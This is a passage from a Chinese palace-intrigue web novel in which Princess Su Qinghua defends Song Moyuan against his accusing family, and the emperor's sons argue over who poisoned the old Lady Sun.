如今她被一个小姑娘戏弄,又如何肯罢休? “我天韶国的皇上便是我的长辈,我哥哥是天韶国太子殿下,你去找吧....” 苏清华说着走到一个椅子坐下,随后轻轻将双腿交叠,上面的腿微微晃动,尽是悠闲之意。 “天韶?原来你就是苏清华?怪不得这么不懂规矩,天韶随便给个公主头衔,便抛弃家族,枉顾父母颜面,甚至杀害亲生祖母,这真是我见过最不要脸的女子,怪不得会帮他说话,因为你们都是一样的人,仗着权利,不敬长辈,毫无教养可言。”王氏虽没读过多少书,可嘴皮子向来利索,骂起人来也不逞多让。 “娘,你别说了,她的所作所为,自有皇上会负责惩处。”宋父提醒道。 他并不是觉得娘说错了,只是担心得罪苏清华,会惹来麻烦而已。 老太太哼了一声,怒视着苏清华,却也不再开口。 她最了解他的儿子,既然阻止她,必有一定的道理。 在京城呆了这么多年,她也深深明白,身份与权力是不可逾越的,有权利的人,只要稍微动动手指头,便可以将她碾死。 “若是值得尊重的长辈,自然会得到应有的尊重,若是不分黑白,只想仗着长辈的身份,欺压侮辱,甚至是陷害晚辈,那自然得不到小辈的尊重!” 苏清华眼神凌厉,扫向宋老太太,她被她威压所惧,吓得急忙低下了头,不敢再说。 “渊儿,刚才是我太急了,语气不好,我知道你是好孩子,不会真的对他下手,为父求求你,你帮我找找他吧,我知道你有这个能力找到他。” “他虽是有能力找到,可他为何要这么做?耗费精力去找一个曾给他下毒两次的女人的儿子,莫非你以为他是傻子?” “清华公主,你虽是天韶公主,可人既然在赵阳,便应遵守赵阳法规,你私自抗旨出府,我若是将此事禀告皇上...” “你若是敢将此事,传出去一个字,那我便会如你所愿,便是将整个赵阳翻过来,也会找到他 ” “真的吗?”宋父听闻宋墨渊要帮找小儿子,一时兴奋,忽略了宋墨渊如墨的脸色,开口说道。“你们尽快回去好好准备准备吧。” “好好,我回去好好做一桌子饭,这么多天没吃我做的饭,他必定会想的。”老太太也是满脸喜色。 “我说让你们好好准备一下后事,因为到时候找的大概率是一具尸体。”宋墨渊眼神冷极了。 王氏被孙子的眼神惊到,瞬间忘记了该如何言语。 “你竟然敢威胁我们?”宋父恼怒道,他看向苏清华,继续说:“难道你是为了她?” “好啊,你对一个外人,都比对我们好。你这个黑心黑肺,没有良心的。” 王氏看了看苏清华,嘴角一撇,说:“清华公主,你竟然敢跟这个冷血无情的人走的近?也不怕哪天怎么死都不知道?他连他的亲弟弟都见死不救,又会对别人有几人真心?” 苏清华一拍桌子,站起身来,大声喝道:“不如你们的愿,便是冷血,如了你们的愿,你们就会一直吸血...我看你们倒是更无情一点,只是你们嘴上功夫厉害一点,懂得在语言上,占据道德制高点,欺负宋墨渊是个闷葫芦,什么都不愿意说出来罢了。” 王氏被她一喝,吓了一跳,宋景泽却并不畏惧,接口道:“传闻清华公主聪明睿智,不妨你帮着分析一下,我家小儿两日未归,若不是那些恨他的人撸了去,又是去了哪里?难不成是他自己主动不回家?” 苏清华重新坐下,说:“这就要问宋大人了,知子莫若父,你儿子是什么样的人,你应该最清楚才是,难不成宋墨渊你不了解,整日住在一起的小儿子,宋大人也不了解?那你这个父亲当的,确实有点差劲呢!” “放肆,你父亲当的如何,无论如何也轮不到清华公主来置喙。” “那你儿子丢了,无论如何也轮不到宋公子来负责,只怕是他真的是主动不想回家,毕竟整日面对这种,根本不了解孩子的父亲,谁会愿意回家呢?” “你胡说,铭儿他向来懂事,他若是真有事不回家,必会跟家里说一声的,再说他不像渊儿,有皇上做亲舅舅,铭儿在这里除了我们,无亲无故,不回家又能去哪里?白天也倒罢了,晚上难道他睡在大街上?” “都城繁华,即便到了晚上,只要有银子,也可以找到睡觉的地方。” 第一百四十八章 神仙下凡? “你的意思是,他宁愿去花钱住客栈,也不回家?”宋景泽语气讽刺的反问,好似苏清华讲了一个笑话。 “住客栈有什么意思?不是万不得已,谁会花钱去那找罪受,我劝你们直接去西街找找,说不定在那里,能找到你们想找的人。” 苏清华并没有因为宋景泽不信她而生气,反而很好心的给出进一步提示。 “泽儿,西街在哪里?不然我们便去找找吧,赵阳城能找的地方,我们都找了,西街我们好似确实没有去找过。”王氏闻言,急忙劝着儿子。 宋景泽一甩袖子,说:“娘,你别听她胡说,你知道西街那是什么地方吗?西街可是风月场所聚集地,铭儿饱读诗书,怎会去那种不干净的地方?” “什么?西街竟是这么肮脏的地方?清华公主,你怎么能这么随意污蔑别人名声?你这样会遭报应的。”王氏大声吆喝着,好似受了多大的委屈。 “报应?你们随便污蔑别人抓了人,便不会受报应?还有你刚才污蔑我杀了祖母,也不怕遭报应吗?还是报应跟你是亲戚,不会找到你身上去?” 王氏被苏清华一顿回怼,瞬间又失了言语的能力,不知该如何回应。 “清华公主何必跟一个老年人相争?她不过是太过关心孙子,不想孙子被人抹黑而已,毕竟名声对一个读书人,跟生命一样重要。”宋景泽跟孙氏一唱一和,倒好像是苏清华在欺负他们母子一样。 “可怜、可怜、真是可怜...”苏清华没有继续反驳他们,而是摇着头自然自语。 “清华公主,你什么意思,你说谁可怜?”宋景泽问。 “整日住在同一屋檐下,竟然也会父不知子?我还以为有些人,无根无据,一直冤枉儿子,是因为与儿子不住在一起,所以不了解儿子所致,没想到呀,原来竟是因为他本来就是眼盲心瞎。” 宋景泽听闻苏清华骂他眼盲心瞎,不由恼羞成怒,自然而然的脱口而出:“你不止辱骂我,还侮辱我儿名声,我必会禀告皇...” 最后一个字还没说出来,他忽然对上了宋墨渊的目光,那目光不止如平日看他一样冰冷,甚至有一种看死人的决绝。 宋景泽急忙住了口,不敢再说。 “碧山,立即将人赶出去,若是胆敢反抗,格杀勿论。”宋墨渊的声音,犹如他的眼神一般冰冷。 “是。”碧山早就在门外听不下去了,此时听到主子吩咐,立即推门而进,站在宋景泽身后。 “请,别逼我动手。” “好,你竟真的敢!娘,我们先走,若是再过两日,还找不到铭儿,我宁愿一死,也要让赵阳城人都知道,你宋墨渊绑架亲弟,不敬亲父。” 宋景泽说完这句话,立刻拉着王氏往门外走去。 他了解儿子,他向来说到做到,他最后说上一句,也不过是为了给自己留一点颜面。 不过他也清楚,这样做不过是自欺欺人,他自从娶了公主,颜面二字早就没了。 “他以前不是这样的,虽然不会帮我,但至少也不会直接冤枉我的。” 宋景泽母子离开之后,宋墨渊紧皱眉头,眼里全是委屈与伤心。 “不管他以前怎么样,既然他现在这样做了,你以后也不必,再对他抱有任何期待便是。”苏清华斩钉截铁的说道。 宋墨渊被苏清华一点,立刻从悲伤的情绪中解脱了出来。 是呀,他不是早就不对他们抱有期待了吗,现在又何必为了他的行为,自怨自艾? 他立刻调节情绪,换上一副轻松的面容,说:“你怎么来了?不会清华公主真是神仙下凡,远远的,便看见我府上有冤屈,前来为我伸张正义?” 苏清华微微一笑,说:“我刚才只是逗他们而已,我若真是神仙,第一件事,便是让天下不负责任,没有爱子之心的人,都没有生孩子的资格,省的再有无辜稚子,要忍受被父母冤枉之苦。” 随后,苏清华换了一副为难的样子,说:“今日我过来,只是因为正好府里炖了鱼,我又实在懒得拔鱼刺...” “那走吧,我正好也饿了。” 宋墨渊内心清楚的知道,苏清华必定也被苏洵冤枉过,而且肯定不止一次。 她如今都能放下一切,他一个大男人,又何必为那些不值得的人,去浪费精力? 两人伴着烛光,慢慢走到相邻的围墙。 苏清华轻点脚尖,刚要率先跃过。却听宋墨渊说:“碧山,明日将这墙砸了,再加个门在此。” “是。” 苏清华没有反对,整日翻墙,她也觉得不是很方便。 两人很快来到正厅,翠竹远远的见到人影,立刻指挥丫鬟们准备晚膳事宜。 六名侍婢鱼贯而入,为首者捧着嵌螺钿漆盒,内盛苏清华亲手研制的清新香,青烟袅袅间,整个厅堂氤氲着清雅香气。 另两人人手捧银盆,里面是刚接的泉水,里面漂浮着新鲜折下的玫瑰、茉莉,花瓣随水波轻晃。 待二人净手毕,再有两个丫鬟奉上干净的锦帕,二人轻柔拭干手上残留水珠。 待净手礼毕,最后一名侍婢上前,双手捧起错金银青铜匜。匜内盛着清晨从梅枝上采下的凝露,兑入三分新汲的山泉水,再撒入研磨成粉的丁香、藿香,莹润的液体中漂浮着几片薄荷叶,泛起淡淡涟漪。 二人各取一杯漱口水,含在口中须臾,再将其吐出,如此三次之后,以沾着玫瑰露的绢帕轻拭唇角,方才落座准备用餐。 二人都是从小在规矩的熏陶下长大,习惯了食不言寝不语。 宋墨渊默默地帮苏清华挑着鱼刺,苏清华也会用备着的玉筷为宋墨渊夹菜。 当宋墨渊挑好鱼刺,发现自己盘子满满当当,而且里面全部都是自己爱吃的菜时,内心的喜悦之情答道顶峰。 甚至刚才被祖母与父亲冤枉的阴霾心情,也瞬间释然。 直到用饭完毕,丫鬟将桌子收拾妥当,宋墨渊才缓缓开口:“今日多谢你出言相助,那次人情就算你还了吧,以后你再也不欠我什么了。” 第一百四十九章 中毒而亡 说到这里,宋墨渊心里忽然揪了一下,失落感顿时将他笼罩。 他不是不舍得这次人情,只是觉得跟苏清华的联系,好似断了一样。 “张口之劳,不必客气,不至于顶上一次人情。”苏清华刚才仗义执言,是发自本能,也是发自本心。 毕竟这么不靠谱的亲人,她也曾有过。 宋墨渊闻言,没有再坚持,他内心深处,仍是希望跟她多一些羁绊的。 “舅父已经下令,让太子跟大皇子一起彻查苏老夫人之事。如今掌握的证据来看,苏老夫人是中毒而死,而且与她一起死的,还有她的贴身嬷嬷。那高嬷嬷是被人勒死的,死相极其难看。” “什么?怪不得发生这么大的事,高嬷嬷却没给我传递任何消息。原来她已经被张彩蝶害了...”苏清华听到高嬷嬷被害,内心即伤心又恼怒。 高嬷嬷年轻守寡,被婆婆卖到都城为奴,她为了唯一的女儿,只好忍辱接受,可到了后来,她的女儿却被村里恶霸看上,婆婆竟再一次将目光打到女儿身上,想将女儿卖给恶霸当小。 她跪求到苏老夫人面前,苏老夫人嫌弃麻烦,反而想将她赶走,幸好老靖远侯正好听见,便帮她铲除了恶霸,还将她女儿指给了,手下一名年轻武将。 后来她曾多次出手,主动帮助过她与大哥,以报答老靖远侯的恩情,本想着如今大哥当上靖远侯,可以让她安心养老,没想到最后,她还是惨死在张彩蝶的手中。 “高嬷嬷,你安心去吧,我必会帮你报仇。”苏清华暗暗发誓。 “你打算怎么办?”宋墨渊见苏清华许久不说话,便主动相问。 “我怎么办,完全要看你舅父想法,他若是更想对付张家,便自会查明真相,他若是更想对付我,我便是找到对我有利的证据,只怕他也是不信,亦或是,他正想着让我们鹬蚌相争,他好渔翁得利?” 宋墨渊本想说,舅父必定是更想对付张家,可话到嘴边,他却又说不出口,因为他内心清楚的很,若是真有机会,赵阳帝必定更想一网打尽。 若是趁机可以拿回六城,赵阳帝自是不会放过机会。 宋墨渊略微又坐了片刻,发现夜色已深,便离开了。 “小姐,绿辰来了。” “快让她进来。” “公主,属下给您请安,秦姑娘让我将这本书交给你。” “你辛苦了,先下去找你姐姐吧,今晚便不要回去了,明日吃过早饭,再返回秦府,正好再帮我给秦姐姐送个信。” “是,多谢公主。” 绿辰知道,送信只是托词,她只是想让自己跟姐姐多呆一会儿。 翌日,万庆殿 大皇子与太子正在与赵阳帝汇报,苏老夫人被害之案的进展情况。 “孙氏果然是中毒而死?”赵阳帝眉头轻皱。 “是,仵作昨日已确认,她的嘴里还残存着鹤顶红,仵作用银针在她身上各处都试了,那毒已遍布全身,明显是被毒杀无疑。” 太子说到此处,抬头看了一眼赵阳帝,见他脸色并无异常,便继续说道:“孙氏死时身上瘦的不成样子,头发全白,牙齿也全部脱落,而且双眼紧紧的瞪着,明显是死不瞑目啊!孙氏身为老靖远侯的原配夫人,如今死法实在是凄惨,令人不由为其哀叹呀。” 太子一边说,一边轻轻摇头,显然是对孙氏之死,十分惋惜不忿。 赵阳帝望着共情孙氏的太子,面色平静无波,看不出喜怒。 站立一侧的大皇子却忽然发声:“孙氏死相是有点凄惨,可被她毒杀的慕夫人与珍姨娘难道不惨?从一出生便没见过生母的清华公主,还有同样小小年纪便没了生母的苏赫,难道便不惨嘛?” 大皇子侧过身,直视太子,言道:“太子虽是心怀恻隐之心,可也当分清是非,看清楚了,谁更值得共情才是。” 大皇子语气铿锵有力,说的有理有据,便是赵阳帝也为之一振,面上情绪有了明显波动。 赵阳帝不由暗思:是呀,孙氏连杀二人,而且这二人不是普通奴仆,而是为苏家开枝散叶的功臣。她如此狠心,平日却要摆出一副慈悲样,实在罪大恶极。 更重要的是,当日他要求苏洵彻查此事,孙氏明知是他想知道真相,仍是推出一个嬷嬷顶罪,这等欺君行为,更是罪该万死。 如今她死了倒也干净,省的他还要顾念苏老侯爷的颜面,不好公开处置她! 赵阳帝向下看去,只见大皇子身高五尺,如今眼神也清澈不少,站在太子旁边,周身的气质,竟不比他差。 他内心不由高兴,脸上也带着笑意,说:“大皇子说的有道理,孙氏死不足惜。不过这案子仍需继续查下去,不管是谁下的手,都是没将赵阳律法放在眼里,若是查到,我必会严惩不待。” 太子见赵阳帝明显对大皇子另眼相待,不由暗自恼怒:大皇子本性格暴躁不成气候,他从来没将他放在眼里,如今他竟思路清晰,说话有理有据,让他不得不防了。 特别是大皇子对他的态度也明显变了,原来对他总是为首是瞻,如今竟隐隐有站在他对立面的意思。 可大皇子这是什么时候开始的呢?他这么大的改变,又是为什么呢?太子实在是想不通,也抓不到头绪! 在苏家查案之时,他就察觉到,大皇子的行为有一丝异常。 他本想着,父皇让大皇子跟他一起查案,不过是随口一提,大皇子必定会躲在家里偷懒。 没想到的是,大皇子竟真的去了苏府,当他想将杀人凶手,直接定向为苏清华是,他更是一直劝他,行事不该如此莽撞,若是被有心之人发现,只怕对他名声不利。 当时的他,甚至有一丝感动,甚至想着登基以后,必定会让他富贵一生。 如今想来,竟是他想错了。 大皇子这明显是,起了不该有的念头呀! 他身为一国太子,如何能让大皇子抢了他的风头? 第一百五十章 兄弟同心 太子想到这里,开口解释:“大皇子误会了,我提及孙氏惨相,并不是要同情孙氏,只是想说,这凶手实在可恶,在这天子脚下的赵阳城内,轻轻松松又十分残忍的杀人,实在是可恶至极!而最有动机,也最有机会下手的,明显便是那苏清华。孙氏虽有罪,也该交给父皇处置,若是因为私仇便胡乱杀人,岂不是意味着,没将整个赵阳放在眼里?” 赵阳帝闻言,若有所思... 大皇子朝着太子一拱手,回道:“太子身为一国储君,当知凡事要讲究证据,就现在的证据而言,根本没有任何证据,可以证明凶手就是清华公主,太子执意将此事扣在清华公主头上,实在是令人费解!” 面对大皇子的置疑,太子内心恼怒,道:“靖远侯府禁卫深严,普通人根本不可能下手,清华公主与苏赫关系深厚,必定给她在苏府留下了人脉,她想杀人易如反掌。况且她刚得知孙氏害了她生母,接着孙氏便中毒身亡,世间怎会有如此巧合之事?还有孙氏这死法,偏偏就是中毒,而清华公主恰好也擅于用毒,那日我的贴身侍卫柏枝,只是稍有得罪,她便当着我的面,给他下毒,害的柏枝这么多天,疼痛难忍,坐立不安,将一个活生生的人,折磨的人不人,鬼不鬼,所以这毒杀孙氏之人,必定是苏清华。” 大皇子见太子激愤,并没有受其影响,仍是淡定说道:“若如太子所说,清华公主善毒,那她又怎会用鹤顶红这种,即低级又猛烈的毒药?对付杀母仇人,当然是让她生不如死,受尽折磨,最后才缓缓死去。所以这更说明了,杀害孙氏的,必定是另有其人,而且很可能是与苏清华有仇之人,想故意将罪名扣在她的身上。” “那大哥倒是说说,如若不是清华公主,那凶手会是谁?”太子反问。 “如今证据不足,即无法认定凶手是清华公主,也无法认定是其他人。我只是心里奇怪,太子一直将矛头指向清华公主,到底是何居心?真的是为了赵阳,亦或是因为私心?”大皇子一字一句,直戳太子心窝。 太子闻言,转头看向大皇子,眼神晦暗不明:“大皇子一直帮清华公主说话,又是为了什么?是为了她手中城池,亦或是对她动了真心?现在你可以为了她,处处针对我,将来是否也会为了她,处处针对父皇?” “太子殿下,你误会了!”大皇子抬头向上望去,见赵阳帝脸色阴沉,立刻跪倒在地:“父皇,儿臣冤枉,我从未想过针对太子,刚才我只是就事论事,如今我们掌握的证据,确实不能断定,凶手到底是谁呀。” 赵阳帝手里捻动翡翠手串,眼神来回在两个儿子间徘徊。 过了良久,他方才开口:“好了,我即派你们兄弟一起查案,便是想培养你们兄弟间的默契,早晚赵阳江山传到你们手上,你们能够兄弟同心,我便也可以放心了。” 赵阳帝眼神一瞪,声音不由提高几分:“你们好好看看你们自己,只这么一件事,便争来争去,互不相让,哪里有兄友弟恭的样子?这样的话,我如何放心将这江山交给你们?” 太子见赵阳帝发怒,立刻也跪倒在地:“父皇息怒,是儿臣太过着急,辜负了您的期望,以后我不止要跟大哥,还有我们的三弟,我们三兄弟一定会,相亲相爱,互相帮助,好好维护我们赵阳江山。” “嗯,这还差不多。”赵阳帝脸色稍微缓和几分:“不过大皇子说的不错,即没有证据证明凶手是谁,那就不能随便指认任何人,只有有了铁一般的证据,才能让凶手折服,也让天下人信服。你们两个继续查,必定要查明真凶,严惩不贷,让他知道赵阳律法不是留着好看的。” “是。”两兄弟一起答应。 “你们起来吧,只要你们兄弟能真心帮我分忧,我必不会让你们失望。”赵阳帝语调温和,眼神也带了孺慕之情。 二人又同时说:“多谢父皇。儿臣自当尽心为赵阳,哪怕粉身碎骨,在所不惜。” 说完之后,二人方才站起身来。 “父皇,儿臣还有一事相求。”大皇子忽然开口。 “什么事?说出来听听。”赵阳帝望向他的方向,明显很感兴趣。 “孙氏虽是该死,可人死如灯灭,如今仵作已查明死因,还是该尽早下葬的好,天气日益渐热,她的尸体一直放着,只怕会日益腐败,若是引来蚊虫叮咬,再惹出什么传染病,只怕会引起更多是非,更重要的是,过不了几日,便是皇祖母寿辰,可不能让这等糟乱之事,冲撞了皇祖母呀。”大皇子言语恳切,满满的,都是对皇祖母的敬重之情。 赵阳帝点了点头,说:“皇儿说的有道理,旁的也倒罢了,这母后的寿辰,是重中之重,万不可被其他事扰了。既然如此,明日便将其葬了便是,她罪孽深重,便不必葬入苏家祖坟,随便找个地方埋了便是,省的污了老靖远侯的身后名声。” 赵阳帝对老靖远侯这位夫人,向来也是不喜,如今知道她做过如此多恶事,更是对她厌恶。 “父皇想的周到,只是苏洵毕竟是她亲生儿子,如今她死了,苏洵也该见她最后一面才是,不如请父皇以太后大寿,大赦天下为由,放归苏洵归家,为其母送丧,这既体现了父皇的仁德,也体现了父皇最是重孝。” “嗯,你说的有道理,江全,找人去牢房传朕口谕,放苏洵归家,见孙氏最后一面,并为其送丧。” 赵阳帝略一思索,便开口答应了。 苏洵如今已失了靖远侯的身份,而且他文武皆废,已经没有任何起复的可能,便是放他归家也无妨,省的在监牢里,还要浪费粮食。 况且正如大皇子所言,太后大寿,他大赦天下,确实可以向天下人证明,他最是重孝之人。 第一百五十一章 太后不是他生母,他更要将这个孝字摆在明面上。 允许苏洵回家为母亲送丧,也是重孝的一种体现,特别是打着太后寿辰,大赦天下的名义。 如此一来,给足了太后颜面,太后也不好再拿当年恩情,以及嫡母身份,一直向他施压! “亥儿,自从上次病愈,你倒是沉稳不少,为父很是开心,你需继续保持。你年纪也不小了,这几日我会多加留意,给你寻一个好姑娘,先成家再立业,这样为父也可以放心用你了。”赵阳帝脸色红润,嘴角挂着浅笑,明显是真心高兴。 “多谢父皇,儿臣定会每日自醒,让自己万万不能再像以前一样糊涂,让父皇操心。”大皇子双手交叠,躬身一礼,语气举止皆是恭敬万分。 “好,你们下去吧。”赵阳帝大手一挥。 “是。” 二人退下之后,赵阳帝再次陷入深思。 此次杀害孙氏的真凶,不管是苏清华还是张彩蝶,他都不在乎,他在乎的是,他能在这次得到什么好处? 不管是张家的兵符,还是清华公主的六城掌控权,都对他有极大的诱惑力。 若是可以将这两个一起拿下,那对他更是大大有利。 至于太子与大皇子二人,一个暗中偏心张家,一个暗中偏心苏清华,都在他意料之中。 毕竟皇后自从知道了,苏清瑶有可能是凤命,便早已将苏清瑶看成自己人,大皇子去公主府磕头赔罪,根本也瞒不过他的眼睛。 他就是要让他两个一起,一个抓张家的漏洞,一个抓苏清华的漏洞,他们抓到的越多,他心中越是欢喜。 另一边,刚退出殿外的太子与大皇子之间,气氛却非常微妙。 太子眼神好奇,出声询问:“恭喜大哥,因祸得福,能将多年脾性一朝逆转,得到父皇的青睐,只是不知用的什么神方,不知可否也分享给我一下?” 大皇子向四周看了一下,确认周围没人,方才将嘴凑到太子耳边,低声回道:“这神方呀,说难不难,说简单也不简单,太子若真想试,不妨找个人,让他用鞭子使劲抽你一顿。” 说完这句话,大皇子便率先大步离开,留下满是惊愕的太子。 难道大皇子竟真是被苏清华抽的转性了?这根本不可能,必是大皇子故意耍他。 想到这里,太子的脸色逐渐阴沉下来。 赵亥,刚才我给你台阶,你却不抓住机会,那么以后便别怪我,也对你不客气了。 “太子殿下,站在万庆殿门口,脸色如此不爽,可是对舅父有意见?” 一个清冷的声音响起,接着一个墨色身影走至眼前。 太子不用确认也知道,这人必定是他的好表弟-宋墨渊。 “表弟说话还是慎重点好,这里是万庆殿,不是你府上的戏台子,你想怎么唱便怎么唱!”太子说完,也大步离开了。 宋墨渊脸上仍是一片淡然,仿若刚才什么也没发生,信步往殿内走去。 “皇上,宋公子来了。”江全见宋墨渊进来,低声打断赵阳帝的沉思。 “渊儿,你来啦。快到近前来,可是有什么事?”赵阳帝此刻的语调,明显比刚才更加温和,甚至少了些许疏离,仿若宋墨渊才是他亲生儿子。 “孙氏被毒杀一事,查的怎么样了?可找到真正凶手?” “此事还尚未明确,步古沟我已交给太子跟大皇子负责,你不必插手,只专心盯着张家便是。” 宋墨渊见赵阳帝不想跟他深谈此事,便也不敢多问。 “张家自那日之后,便只让张彩蝶回了苏家,张之熊自己,却一直闭门谢客,只是昨日半夜,我忽然截获一封他写给儿子的密信。信里表面上看,只是一封普通的家信,可当我把信浸在油中,信纸上却显现了几个字:“一切安记行事!” “仅仅这几个字,并不能说明什么,更不能定张家的罪,你给我继续盯紧了张府,还有那张彩蝶,她这次回苏府,必是有所图谋,你可以想办法,从她那里找到突破口。” “是。另外清华公主那里,好似已经找到,当年老靖远侯寻获的那封密信的线索,她让我暂时等待,不出两日便可以找到密信。” “哦,那这几日,你可要盯紧了,一旦有密信线索,你必须跟她一起前往,最好是可以将密信掌握在你手中,这样我们才会更加主动。” “是。” 宋墨渊离开,赵阳帝立刻悄声吩咐江全:“江全,你亲自去一趟公主府,便说孙氏被杀之案,没有实际证据指明是她,先前委屈她了,让她即日起,便可以自由行动,另外,过几日太后寿辰,请她也到宫中参加宴会。” “是。” “你再派人去跟太子大皇子说一声,最近两日,先将孙氏被害一事一放。等太后寿辰之后,再听我吩咐,暗中小心调查。” 江全虽不知赵阳帝为何刚才还要查,如今这么快便改了主意,可还是乖乖听话,立刻转身安排。 宋墨渊走在回家的路上,便得到消息,江全已经在前往公主府的路上。 他点了点头。 舅父果然如他所料,在他心里,还是先处置张家的心,更加急迫,听说有可以定罪张家的证据,便立刻解了苏清华的禁。 这样的话,苏清华想要找到,维护自身清白的证据,也更加方便很多。 宋墨渊回到家中,不久便听到碧山来报:“主子,清华公主来了。” “请她进来。” “这次我能这么快解禁,又是你的功劳吧?”苏清华一接到解禁的消息,立刻想到了宋墨渊。 “就当昨日你帮我仗义执言的谢礼吧。”宋墨渊开口。 “也好,以后若是还有这怼人,还能拿人情的事,记得还找我。”苏清华微微一笑,玩笑道。 站立一侧的碧山忽然开口:“只是近日怕是找不到这种机会了,毕竟宋家如今可是热闹的很,孙启铭已经被找到了,果然如你所料,他呆在西街的望春楼里,看上了那里的一个姑娘,如今正在家里闹着,要娶那女子为妻呢。” 第一百五十二章 琴瑟和鸣 碧山转头看着苏清华,眼神里尽是崇拜:“清华公主,你如何知道,那孙启铭会在西街?” 苏清华微微一笑,说:“我能掐会算,你想不想让我帮你算算,什么时候能找到媳妇?” 碧山不好意思的挠挠头,说:“我这辈子不打算找媳妇了,只想要伺候主子一辈子,要不你帮我们主子算算?” “嗯,好主意,那我就帮你们主子先算算。”说着,苏清华眼睛微闭,抬起右手,缓缓做出算命的手势:拇指轻轻按压在中指的末端关节处,食指则自然地搭在中指的中段关节,无名指与小指微微弯曲,这一掐诀手势,仿佛她真的可以推算着命运的轨迹。 “你们主子,生来便有贵胄之相,只是命中亲缘浅薄,与父母虽有血缘之缘,却无长久相伴之福分。不过上天向来公正,为弥补这一缺憾,定会赐下一位与他心意相通、无比契合的良人。二人携手,定能琴瑟和鸣,共度幸福美满的一生。 ” 苏清华娓娓道来,说的好像煞有其事,不止碧山听的认真,便是宋墨渊在旁边也嘴角微弯。 因为他心中对未来的另一半,已有了明确的形象,此人远在天边,近在眼前,正是此时微微闭眼,周身散发着一种迷人气息的苏清华。 他相信他们两个,会恰如她说的那样,琴瑟和鸣。 碧山见主子掩饰不住的喜悦,心中也跟着高兴,继续问:“清华公主,那你再算算,那女子何时能明白,我们主子的心意?” 宋墨渊一听此话,心中不由一顿紧张,他急忙开口阻止,说:“碧山,你是不是又想去做苦力?” 碧山见主子害羞,急忙改口,说:“清华公主,你还是不要算了,我可不想离开主子。” “咯咯咯...”清华公主见碧山委屈的样子,不由轻笑出声,说:“好了,不逗你了,我昨日那样说,其实也是猜测。” “这孙启铭从小便在宋墨渊的阴影下长大,原来有孙怡管着倒也罢了,如今孙怡已死,宋景泽又一心想证明自己的能力,鲜少抽出空闲陪伴管教他,只剩一个王氏尝尝陪伴他,王氏虽比一般的农妇强点,可终究眼界还是窄了点,心胸也不够大,对那孙启铭除了娇惯,便什么也做不了,孙启铭渐渐的,便会被京城富贵迷了眼,堕落沉浸烟花之地,那是早晚的事。” 碧山看着苏清华的眼神,满满的都是敬佩:“清华公主果然聪明过人,只见过孙启铭一面,便可以看出他的一生,不过他也是活该,谁让他投胎到孙怡的肚子里呢。还有他的父亲与祖母,竟敢污蔑我们主子,如今自打嘴巴,真真是罪有应得,报应不爽。” 宋墨渊如今虽对父亲没有期待,可听到他的事,仍是心里不爽,说:“以后只要他不来找事,你也不必关注宋家的事。只当从未认识过他们便是。” 随后他转身看向苏清华:“清华公主,我们还是商议一下,该如何利用孙氏之死反客为主,让张家尽快露出马脚吧。” “宋公子倒是与我心有灵犀,我这次来真正的目的,也是想跟你商讨此事。” 宋墨渊给了碧山一个眼神,他立刻领悟,转身出了门,并命令侍卫多加巡视,他则亲自在书房门口,帮着把风。 苏清华站起身来,靠近宋墨渊,缓缓弯下腰肢,腰背犹如一弧弯月,青丝垂落遮住半张侧脸,发间步摇垂落的珠玉,在宋墨渊眼前轻颤。 宋墨渊眼睛不由圆瞪,身体像似被人点了穴,定在原地,一动不动。 他微微闭目,不敢直视前方,可苏清华的呼吸拂过他的耳际。 温热的触感如羽毛扫过,他后颈骤然腾起细密的电流,顺着脊椎蜿蜒向下。喉结艰难滚动时,才惊觉两人之间只剩半掌距离。 带着茉莉与雪松的香气,时不时的钻入他的鼻翼,宋墨渊鼻尖微痒,他却不敢伸手去抚,深怕这会打断这时的美好。 “你认为这计策可行?”苏清华重新坐回自己位置,声音稍微提升,并认真地问道。 宋墨渊闻着那香味骤然离开,苏清华像是花间低首的白孔雀,美得教人移不开眼。 “什么?不好意思我刚刚没听清。”宋墨渊慌乱的解释到。 这种尴尬的时刻,他还是第一次遇到。 竟会真的入了神,忽略了对方的话语。 苏清华眉毛轻蹙,对宋墨渊此时的不在状态,很是不解。 “你便坐在那里说便是,我府里安全的很,保证不会出现问题。”宋墨渊见对方不动,怕对方误会他的意图,急忙进一步解释。 苏清华没有再纠结,便坐在椅子上,将自己的计策,重新讲了一遍。 “这计策听着不错,可关键一步是,如何让太子跟张家,同时知道密信的消息,并且还不会生疑。 “这也没什么难的。太子早就一直在想办法,策反我身边的绿辰,绿辰拿了他那么多好东西,也该是时候给他递点关键消息了。” “至于张家那边,也不是很难,张彩蝶与张应熊虽不会上当,可张家还有两位智商不在线的猪队友,那便是苏赫与苏清瑶。苏赫最近一直对秦姐姐图谋不轨,数次到秦家门口赌她,绿晚只稍微使了点策略,便取得了他的信任,到时候将密信消息传给他,也算顺理成章。” “既然你已安排好第一步,那此计必然能成,到时候我会全力配合你。”宋墨渊语气坚定。 以他对张家人的了解,苏清华的计策堪称完美,明显是依据所有人的性格特点,为他们专门定制。 “那就合作愉快。”苏清华将手递到宋墨渊面前。 宋墨渊看着那双柔荑,像是被匠人精心雕琢的羊脂玉,掌心泛着珍珠母贝的柔光,指甲修剪得圆润如月牙,边缘还晕染着淡淡的粉。 宋墨渊也将骨节匀称的大手递过去,与她的手掌轻轻相触。 第一百五十三章 报应不爽 “啪。”的一声轻响。 两只手会和在一起,一大一小,一柔一强,倒是相得益彰。 苏清华嘴角轻轻一笑,此刻他们的目标一致,都是对付张家,有了宋墨渊做后盾,她对这次屠张计划,更加有信心。 这次如若不能让张家,伤筋动骨或者大出血,那她重生一世的千年机遇,便也算白费了。 次日一早,苏清华便邀请秦静姝带着绿辰入府。 两人遣退仆人,聊了好一会儿。 大多都是苏清华在说,秦静姝在不停点头。 这时翠竹匆匆来报:“小姐,老爷来了。” 她说的老爷便是苏洵,苏洵虽已不是侯爷,苏清华也已离开苏家,可翠竹一是习惯了,二是实在不知该如何称呼,便仍是称他为老爷。 “让他进来吧。”苏清华脸上并无惊讶之色,好似对他的到来,早有预料。 不一会儿,苏洵便跟在翠竹身后,出现在了大殿。 “清华公主万安。”苏洵双手抱拳,对着前方一礼。 几个月的牢狱之灾,他浑身的气质完全变了,再也没有了原来的威严,特别是对苏清华,他本来不是厌恶不屑,便是愤怒仇视,如今眼神里不仅充满了讨好,甚至夹杂着一丝畏惧。 苏清华见他不止气质变了,便是本来乌黑的秀发也变得斑白,脸上的皮肤也松弛了很多,再加上不由颤抖的双腿,让人看着竟有几分可怜。 “不必多礼,你来找我何事?”苏清华问。 苏洵行完礼,便迫不及待开口:“你前日到监狱里找我,说的那些话可是真的?” 